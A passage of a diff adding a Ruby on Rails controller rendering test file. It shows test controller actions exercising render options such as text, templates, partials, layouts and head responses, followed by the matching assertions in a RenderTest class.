+ render :text => "hello world", :status => 404
+ end
+
+ # :ported:
+ def render_text_with_nil
+ render :text => nil
+ end
+
+ # :ported:
+ def render_text_with_false
+ render :text => false
+ end
+
+ def render_text_with_resource
+ render :text => Customer.new("David")
+ end
+
+ # :ported:
+ def render_nothing_with_appendix
+ render :text => "appended"
+ end
+
+ # This test is testing 3 things:
+ # render :file in AV :ported:
+ # render :template in AC :ported:
+ # setting content type
+ def render_xml_hello
+ @name = "David"
+ render :template => "test/hello"
+ end
+
+ def render_xml_hello_as_string_template
+ @name = "David"
+ render "test/hello"
+ end
+
+ def render_line_offset
+ render :inline => '<% raise %>', :locals => {:foo => 'bar'}
+ end
+
+ def heading
+ head :ok
+ end
+
+ def greeting
+ # let's just rely on the template
+ end
+
+ # :ported:
+ def blank_response
+ render :text => ' '
+ end
+
+ # :ported:
+ def layout_test
+ render :action => "hello_world"
+ end
+
+ # :ported:
+ def builder_layout_test
+ @name = nil
+ render :action => "hello", :layout => "layouts/builder"
+ end
+
+ # :move: test this in Action View
+ def builder_partial_test
+ render :action => "hello_world_container"
+ end
+
+ # :ported:
+ def partials_list
+ @test_unchanged = 'hello'
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :action => "list"
+ end
+
+ def partial_only
+ render :partial => true
+ end
+
+ def hello_in_a_string
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :text => "How's there? " + render_to_string(:template => "test/list")
+ end
+
+ def accessing_params_in_template
+ render :inline => "Hello: <%= params[:name] %>"
+ end
+
+ def accessing_local_assigns_in_inline_template
+ name = params[:local_name]
+ render :inline => "<%= 'Goodbye, ' + local_name %>",
+ :locals => { :local_name => name }
+ end
+
+ def render_implicit_html_template_from_xhr_request
+ end
+
+ def render_implicit_js_template_without_layout
+ end
+
+ def formatted_html_erb
+ end
+
+ def formatted_xml_erb
+ end
+
+ def render_to_string_test
+ @foo = render_to_string :inline => "this is a test"
+ end
+
+ def default_render
+ @alternate_default_render ||= nil
+ if @alternate_default_render
+ @alternate_default_render.call
+ else
+ super
+ end
+ end
+
+ def render_action_hello_world_as_symbol
+ render :action => :hello_world
+ end
+
+ def layout_test_with_different_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_string_action
+ render "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_symbol_action
+ render :hello_world, :layout => "standard"
+ end
+
+ def rendering_without_layout
+ render :action => "hello_world", :layout => false
+ end
+
+ def layout_overriding_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def rendering_nothing_on_layout
+ render :nothing => true
+ end
+
+ def render_to_string_with_assigns
+ @before = "i'm before the render"
+ render_to_string :text => "foo"
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_exception
+ render_to_string :file => "exception that will not be caught - this will certainly not work"
+ end
+
+ def render_to_string_with_caught_exception
+ @before = "i'm before the render"
+ begin
+ render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
+ rescue
+ end
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def accessing_params_in_template_with_layout
+ render :layout => true, :inline => "Hello: <%= params[:name] %>"
+ end
+
+ # :ported:
+ def render_with_explicit_template
+ render :template => "test/hello_world"
+ end
+
+ def render_with_explicit_unescaped_template
+ render :template => "test/h*llo_world"
+ end
+
+ def render_with_explicit_escaped_template
+ render :template => "test/hello,world"
+ end
+
+ def render_with_explicit_string_template
+ render "test/hello_world"
+ end
+
+ # :ported:
+ def render_with_explicit_template_with_locals
+ render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
+ end
+
+ # :ported:
+ def double_render
+ render :text => "hello"
+ render :text => "world"
+ end
+
+ def double_redirect
+ redirect_to :action => "double_render"
+ redirect_to :action => "double_render"
+ end
+
+ def render_and_redirect
+ render :text => "hello"
+ redirect_to :action => "double_render"
+ end
+
+ def render_to_string_and_render
+ @stuff = render_to_string :text => "here is some cached stuff"
+ render :text => "Hi web users! #{@stuff}"
+ end
+
+ def render_to_string_with_inline_and_render
+ render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+ render :template => "test/hello_world"
+ end
+
+ def rendering_with_conflicting_local_vars
+ @name = "David"
+ render :action => "potential_conflicts"
+ end
+
+ def hello_world_from_rxml_using_action
+ render :action => "hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ # :deprecated:
+ def hello_world_from_rxml_using_template
+ render :template => "test/hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ def action_talk_to_layout
+ # Action template sets variable that's picked up by layout
+ end
+
+ # :addressed:
+ def render_text_with_assigns
+ @hello = "world"
+ render :text => "foo"
+ end
+
+ def yield_content_for
+ render :action => "content_for", :layout => "yield"
+ end
+
+ def render_content_type_from_body
+ response.content_type = Mime::RSS
+ render :text => "hello world!"
+ end
+
+ def head_created
+ head :created
+ end
+
+ def head_created_with_application_json_content_type
+ head :created, :content_type => "application/json"
+ end
+
+ def head_ok_with_image_png_content_type
+ head :ok, :content_type => "image/png"
+ end
+
+ def head_with_location_header
+ head :location => "/foo"
+ end
+
+ def head_with_location_object
+ head :location => Customer.new("david", 1)
+ end
+
+ def head_with_symbolic_status
+ head :status => params[:status].intern
+ end
+
+ def head_with_integer_status
+ head :status => params[:status].to_i
+ end
+
+ def head_with_string_status
+ head :status => params[:status]
+ end
+
+ def head_with_custom_header
+ head :x_custom_header => "something"
+ end
+
+ def head_with_www_authenticate_header
+ head 'WWW-Authenticate' => 'something'
+ end
+
+ def head_with_status_code_first
+ head :forbidden, :x_custom_header => "something"
+ end
+
+ def render_using_layout_around_block
+ render :action => "using_layout_around_block"
+ end
+
+ def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
+ end
+
+ def partial_formats_html
+ render :partial => 'partial', :formats => [:html]
+ end
+
+ def partial
+ render :partial => 'partial'
+ end
+
+ def partial_html_erb
+ render :partial => 'partial_html_erb'
+ end
+
+ def render_to_string_with_partial
+ @partial_only = render_to_string :partial => "partial_only"
+ @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_template_and_html_partial
+ @text = render_to_string :template => "test/with_partial", :formats => [:text]
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_html_partial"
+ end
+
+ def render_to_string_and_render_with_different_formats
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_partial", :formats => [:text]
+ end
+
+ def render_template_within_a_template_with_other_format
+ render :template => "test/with_xml_template",
+ :formats => [:html],
+ :layout => "with_html_partial"
+ end
+
+ def partial_with_counter
+ render :partial => "counter", :locals => { :counter_counter => 5 }
+ end
+
+ def partial_with_locals
+ render :partial => "customer", :locals => { :customer => Customer.new("david") }
+ end
+
+ def partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_with_form_builder_subclass
+ render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_collection
+ render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as
+ render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
+ end
+
+ def partial_collection_with_counter
+ render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as_and_counter
+ render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
+ end
+
+ def partial_collection_with_locals
+ render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_with_spacer
+ render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_spacer_which_uses_render
+ render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_shorthand_with_locals
+ render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records
+ render :partial => [
+ BadCustomer.new("mark"),
+ GoodCustomer.new("craig"),
+ BadCustomer.new("john"),
+ GoodCustomer.new("zach"),
+ GoodCustomer.new("brandon"),
+ BadCustomer.new("dan") ],
+ :locals => { :greeting => "Bonjour" }
+ end
+
+ def empty_partial_collection
+ render :partial => "customer", :collection => []
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records_with_counter
+ partial_collection_shorthand_with_different_types_of_records
+ end
+
+ def missing_partial
+ render :partial => 'thisFileIsntHere'
+ end
+
+ def partial_with_hash_object
+ render :partial => "hash_object", :object => {:first_name => "Sam"}
+ end
+
+ def partial_with_nested_object
+ render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+ end
+
+ def partial_with_nested_object_shorthand
+ render Quiz::Question.new("first")
+ end
+
+ def partial_hash_collection
+ render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
+ end
+
+ def partial_hash_collection_with_locals
+ render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
+ end
+
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+
+ def render_call_to_partial_with_layout
+ render :action => "calling_partial_with_layout"
+ end
+
+ def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
+ end
+
+ before_action only: :render_with_filters do
+ request.format = :xml
+ end
+
+ # Ensure that the before filter is executed *before* self.formats is set.
+ def render_with_filters
+ render :action => :formatted_xml_erb
+ end
+
+ private
+
+ def set_variable_for_layout
+ @variable_for_layout = nil
+ end
+
+ def determine_layout
+ case action_name
+ when "hello_world", "layout_test", "rendering_without_layout",
+ "rendering_nothing_on_layout", "render_text_hello_world",
+ "render_text_hello_world_with_layout",
+ "hello_world_with_layout_false",
+ "partial_only", "accessing_params_in_template",
+ "accessing_params_in_template_with_layout",
+ "render_with_explicit_template",
+ "render_with_explicit_string_template",
+ "update_page", "update_page_with_instance_variables"
+
+ "layouts/standard"
+ when "action_talk_to_layout", "layout_overriding_layout"
+ "layouts/talk_from_action"
+ when "render_implicit_html_template_from_xhr_request"
+ (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
+ end
+ end
+end
+
+class MetalTestController < ActionController::Metal
+ include ActionController::Rendering
+
+ def accessing_logger_in_template
+ render :inline => "<%= logger.class %>"
+ end
+end
+
+class RenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ super
+ @controller.logger = ActiveSupport::Logger.new(nil)
+ ActionView::Base.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ # :ported:
+ def test_simple_show
+ get :hello_world
+ assert_response 200
+ assert_response :success
+ assert_template "test/hello_world"
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ # :ported:
+ def test_renders_default_template_for_missing_action
+ get :'hyphen-ated'
+ assert_template 'test/hyphen-ated'
+ end
+
+ # :ported:
+ def test_render
+ get :render_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_line_offset
+ get :render_line_offset
+ flunk "the action should have raised an exception"
+ rescue StandardError => exc
+ line = exc.backtrace.first
+ assert(line =~ %r{:(\d+):})
+ assert_equal "1", $1,
+ "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+ end
+
+ # :ported: compatibility
+ def test_render_with_forward_slash
+ get :render_hello_world_with_forward_slash
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_in_top_directory
+ get :render_template_in_top_directory
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ # :ported:
+ def test_render_in_top_directory_with_slash
+ get :render_template_in_top_directory_with_slash
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ # :ported:
+ def test_render_from_variable
+ get :render_hello_world_from_variable
+ assert_equal "hello david", @response.body
+ end
+
+ # :ported:
+ def test_render_action
+ get :render_action_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_render_action_upcased
+ assert_raise ActionView::MissingTemplate do
+ get :render_action_upcased_hello_world
+ end
+ end
+
+ # :ported:
+ def test_render_action_hello_world_as_string
+ get :render_action_hello_world_as_string
+ assert_equal "Hello world!", @response.body
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_action_with_symbol
+ get :render_action_hello_world_with_symbol
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_text
+ get :render_text_hello_world
+ assert_equal "hello world", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_text_and_layout
+ get :render_text_hello_world_with_layout
+ assert_equal "<html>hello world, I am here!</html>", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_action_and_layout_false
+ get :hello_world_with_layout_false
+ assert_equal 'Hello world!', @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_instance_variables
+ get :render_file_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ def test_render_file
+ get :hello_world_file
+ assert_equal "Hello world!", @response.body
+ end
+
+ # :ported:
+ def test_render_file_as_string_with_instance_variables
+ get :render_file_as_string_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path
+ get :render_file_not_using_full_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path_with_dot_in_path
+ get :render_file_not_using_full_path_with_dot_in_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_using_pathname
+ get :render_file_using_pathname
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_locals
+ get :render_file_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_as_string_with_locals
+ get :render_file_as_string_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :assessed:
+ def test_render_file_from_template
+ get :render_file_from_template
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_custom_code
+ get :render_custom_code
+ assert_response 404
+ assert_response :missing
+ assert_equal 'hello world', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_nil
+ get :render_text_with_nil
+ assert_response 200
+ assert_equal ' ', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_false
+ get :render_text_with_false
+ assert_equal 'false', @response.body
+ end
+
+ # :ported:
+ def test_render_nothing_with_appendix
+ get :render_nothing_with_appendix
+ assert_response 200
+ assert_equal 'appended', @response.body
+ end
+
+ def test_render_text_with_resource
+ get :render_text_with_resource
+ assert_equal 'name: "David"', @response.body
+ end
+
+ # :ported:
+ def test_attempt_to_access_object_method
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
+ end
+
+ # :ported:
+ def test_private_methods
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
+ end
+
+ # :ported:
+ def test_access_to_request_in_view
+ get :accessing_request_in_template
+ assert_equal "Hello: www.nextangle.com", @response.body
+ end
+
+ def test_access_to_logger_in_view
+ get :accessing_logger_in_template
+ assert_equal "ActiveSupport::Logger", @response.body
+ end
+
+ # :ported:
+ def test_access_to_action_name_in_view
+ get :accessing_action_name_in_template
+ assert_equal "accessing_action_name_in_template", @response.body
+ end
+
+ # :ported:
+ def test_access_to_controller_name_in_view
+ get :accessing_controller_name_in_template
+ assert_equal "test", @response.body # name is explicitly set in the controller.
+ end
+
+ # :ported:
+ def test_render_xml
+ get :render_xml_hello
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_as_string_template
+ get :render_xml_hello_as_string_template
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_with_default
+ get :greeting
+ assert_equal "<p>This is grand!</p>\n", @response.body
+ end
+
+ # :move: test in AV
+ def test_render_xml_with_partial
+ get :builder_partial_test
+ assert_equal "<test>\n <hello/>\n</test>\n", @response.body
+ end
+
+ # :ported:
+ def test_layout_rendering
+ get :layout_test
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_xml_with_layouts
+ get :builder_layout_test
+ assert_equal "<wrapper>\n<html>\n <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+ end
+
+ def test_partials_list
+ get :partials_list
+ assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string
+ get :hello_in_a_string
+ assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string_resets_assigns
+ get :render_to_string_test
+ assert_equal "The value of foo is: ::this is a test::\n", @response.body
+ end
+
+ def test_render_to_string_inline
+ get :render_to_string_with_inline_and_render
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_nested_rendering
+ @controller = Fun::GamesController.new
+ get :hello_world
+ assert_equal "Living in a nested world", @response.body
+ end
+
+ def test_accessing_params_in_template
+ get :accessing_params_in_template, :name => "David"
+ assert_equal "Hello: David", @response.body
+ end
+
+ def test_accessing_local_assigns_in_inline_template
+ get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+ assert_equal "Goodbye, Local David", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_implicitly_render_html_template_from_xhr_request
+ xhr :get, :render_implicit_html_template_from_xhr_request
+ assert_equal "XHR!\nHello HTML!", @response.body
+ end
+
+ def test_should_implicitly_render_js_template_without_layout
+ get :render_implicit_js_template_without_layout, :format => :js
+ assert_no_match %r{<html>}, @response.body
+ end
+
+ def test_should_render_formatted_template
+ get :formatted_html_erb
+ assert_equal 'formatted html erb', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+ @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_layout_test_with_different_layout
+ get :layout_test_with_different_layout
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_string_action
+ get :layout_test_with_different_layout_and_string_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_symbol_action
+ get :layout_test_with_different_layout_and_symbol_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_rendering_without_layout
+ get :rendering_without_layout
+ assert_equal "Hello world!", @response.body
+ end
+
+ def test_layout_overriding_layout
+ get :layout_overriding_layout
+ assert_no_match %r{<title>}, @response.body
+ end
+
+ def test_rendering_nothing_on_layout
+ get :rendering_nothing_on_layout
+ assert_equal " ", @response.body
+ end
+
+ def test_render_to_string_doesnt_break_assigns
+ get :render_to_string_with_assigns
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_bad_render_to_string_still_throws_exception
+ assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+ end
+
+ def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+ assert_nothing_raised { get :render_to_string_with_caught_exception }
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_accessing_params_in_template_with_layout
+ get :accessing_params_in_template_with_layout, :name => "David"
+ assert_equal "<html>Hello: David</html>", @response.body
+ end
+
+ def test_render_with_explicit_template
+ get :render_with_explicit_template
+ assert_response :success
+ end
+
+ def test_render_with_explicit_unescaped_template
+ assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+ get :render_with_explicit_escaped_template
+ assert_equal "Hello w*rld!", @response.body
+ end
+
+ def test_render_with_explicit_string_template
+ get :render_with_explicit_string_template
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_with_filters
+ get :render_with_filters
+ assert_equal "<test>passed formatted xml erb</test>", @response.body
+ end
+
+ # :ported:
+ def test_double_render
+ assert_raise(AbstractController::DoubleRenderError) { get :double_render }
+ end
+
+ def test_double_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
+ end
+
+ def test_render_and_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
+ end
+
+ # specify the one exception to double render rule - render_to_string followed by render
+ def test_render_to_string_and_render
+ get :render_to_string_and_render
+ assert_equal("Hi web users! here is some cached stuff", @response.body)
+ end
+
+ def test_rendering_with_conflicting_local_vars
+ get :rendering_with_conflicting_local_vars
+ assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+ end
+
+ def test_action_talk_to_layout
+ get :action_talk_to_layout
+ assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+ end
+
+ # :addressed:
+ def test_render_text_with_assigns
+ get :render_text_with_assigns
+ assert_equal "world", assigns["hello"]
+ end
+
+ # :ported:
+ def test_template_with_locals
+ get :render_with_explicit_template_with_locals
+ assert_equal "The secret is area51\n", @response.body
+ end
+
+ def test_yield_content_for
+ get :yield_content_for
+ assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
+ end
+
+ def test_overwritting_rendering_relative_file_with_extension
+ get :hello_world_from_rxml_using_template
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+
+ get :hello_world_from_rxml_using_action
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+ end
+
+ def test_head_created
+ post :head_created
+ assert @response.body.blank?
+ assert_response :created
+ end
+
+ def test_head_created_with_application_json_content_type
+ post :head_created_with_application_json_content_type
+ assert @response.body.blank?
+ assert_equal "application/json", @response.header["Content-Type"]
+ assert_response :created
+ end
+
+ def test_head_ok_with_image_png_content_type
+ post :head_ok_with_image_png_content_type
+ assert @response.body.blank?
+ assert_equal "image/png", @response.header["Content-Type"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_header
+ get :head_with_location_header
+ assert @response.body.blank?
+ assert_equal "/foo", @response.headers["Location"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_object
+ with_routing do |set|
+ set.draw do
+ resources :customers
+ get ':controller/:action'
+ end
+
+ get :head_with_location_object
+ assert @response.body.blank?
+ assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+ assert_response :ok
+ end
+ end
+
+ def test_head_with_custom_header
+ get :head_with_custom_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :ok
+ end
+
+ def test_head_with_www_authenticate_header
+ get :head_with_www_authenticate_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["WWW-Authenticate"]
+ assert_response :ok
+ end
+
+ def test_head_with_symbolic_status
+ get :head_with_symbolic_status, :status => "ok"
+ assert_equal 200, @response.status
+ assert_response :ok
+
+ get :head_with_symbolic_status, :status => "not_found"
+ assert_equal 404, @response.status
+ assert_response :not_found
+
+ get :head_with_symbolic_status, :status => "no_content"
+ assert_equal 204, @response.status
+ assert !@response.headers.include?('Content-Length')
+ assert_response :no_content
+
+ Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
+ get :head_with_symbolic_status, :status => status.to_s
+ assert_equal code, @response.response_code
+ assert_response status
+ end
+ end
+
+ def test_head_with_integer_status
+ Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
+ get :head_with_integer_status, :status => code.to_s
+ assert_equal message, @response.message
+ end
+ end
+
+ def test_head_with_string_status
+ get :head_with_string_status, :status => "404 Eat Dirt"
+ assert_equal 404, @response.response_code
+ assert_equal "Not Found", @response.message
+ assert_response :not_found
+ end
+
+ def test_head_with_status_code_first
+ get :head_with_status_code_first
+ assert_equal 403, @response.response_code
+ assert_equal "Forbidden", @response.message
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :forbidden
+ end
+
+ def test_using_layout_around_block
+ get :render_using_layout_around_block
+ assert_equal "Before (David)\nInside from block\nAfter", @response.body
+ end
+
+ def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+ end
+
+ def test_partial_only
+ get :partial_only
+ assert_equal "only partial", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_formatted_partial
+ get :partial
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+ @request.accept = "text/javascript, text/html"
+
+ get :partial_html_erb
+
+ assert_equal "partial.html.erb", @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_partial_with_formats
+ get :partial_formats_html
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_partial
+ get :render_to_string_with_partial
+ assert_equal "only partial", assigns(:partial_only)
+ assert_equal "Hello: david", assigns(:partial_with_locals)
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_with_template_and_html_partial
+ get :render_to_string_with_template_and_html_partial
+ assert_equal "**only partial**\n", assigns(:text)
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "<strong>only html partial</strong>\n", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_and_render_with_different_formats
+ get :render_to_string_and_render_with_different_formats
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "**only partial**\n", @response.body
+ assert_equal "text/plain", @response.content_type
+ end
+
+ def test_render_template_within_a_template_with_other_format
+ get :render_template_within_a_template_with_other_format
+ expected = "only html partial<p>This is grand!</p>"
+ assert_equal expected, @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_partial_with_counter
+ get :partial_with_counter
+ assert_equal "5", @response.body
+ end
+
+ def test_partial_with_locals
+ get :partial_with_locals
+ assert_equal "Hello: david", @response.body
+ end
+
+ def test_partial_with_form_builder
+ get :partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('test/_form')
+ end
+
+ def test_partial_with_form_builder_subclass
+ get :partial_with_form_builder_subclass
+ assert_match(/<label/, @response.body)
+ assert_template('test/_labelling_form')
+ end
+
+ def test_nested_partial_with_form_builder
+ @controller = Fun::GamesController.new
+ get :nested_partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('fun/games/_form')
+ end
+
+ def test_namespaced_object_partial
+ @controller = Quiz::QuestionsController.new
+ get :new
+ assert_equal "Namespaced Partial", @response.body
+ end
+
+ def test_partial_collection
+ get :partial_collection
+ assert_equal "Hello: davidHello: mary", @response.body
+ end
+
+ def test_partial_collection_with_as
+ get :partial_collection_with_as
+ assert_equal "david david davidmary mary mary", @response.body
+ end
+
+ def test_partial_collection_with_counter
+ get :partial_collection_with_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_as_and_counter
+ get :partial_collection_with_as_and_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_locals
+ get :partial_collection_with_locals
+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ end
+
+ def test_locals_option_to_assert_template_is_not_supported
+ get :partial_collection_with_locals
+
+ warning_buffer = StringIO.new
+ $stderr = warning_buffer
+
+ assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
+ assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
+ ensure
+ $stderr = STDERR
+ end
+
+ def test_partial_collection_with_spacer
+ get :partial_collection_with_spacer
+ assert_equal "Hello: davidonly partialHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_with_spacer_which_uses_render
+ get :partial_collection_with_spacer_which_uses_render
+ assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
+ assert_template :partial => '_customer'
+ end
+
+ def test_partial_collection_shorthand_with_locals
+ get :partial_collection_shorthand_with_locals
+ assert_equal "Bonjour: davidBonjour: mary", @response.body
+ assert_template :partial => 'customers/_customer', :count => 2
+ assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
+ end
+
+ def test_partial_collection_shorthand_with_different_types_of_records
+ get :partial_collection_shorthand_with_different_types_of_records
+ assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+ assert_template :partial => 'good_customers/_good_customer', :count => 3
+ assert_template :partial => 'bad_customers/_bad_customer', :count => 3
+ end
+
+ def test_empty_partial_collection
+ get :empty_partial_collection
+ assert_equal " ", @response.body
+ assert_template :partial => false
+ end
+
+ def test_partial_with_hash_object
+ get :partial_with_hash_object
+ assert_equal "Sam\nmaS\n", @response.body
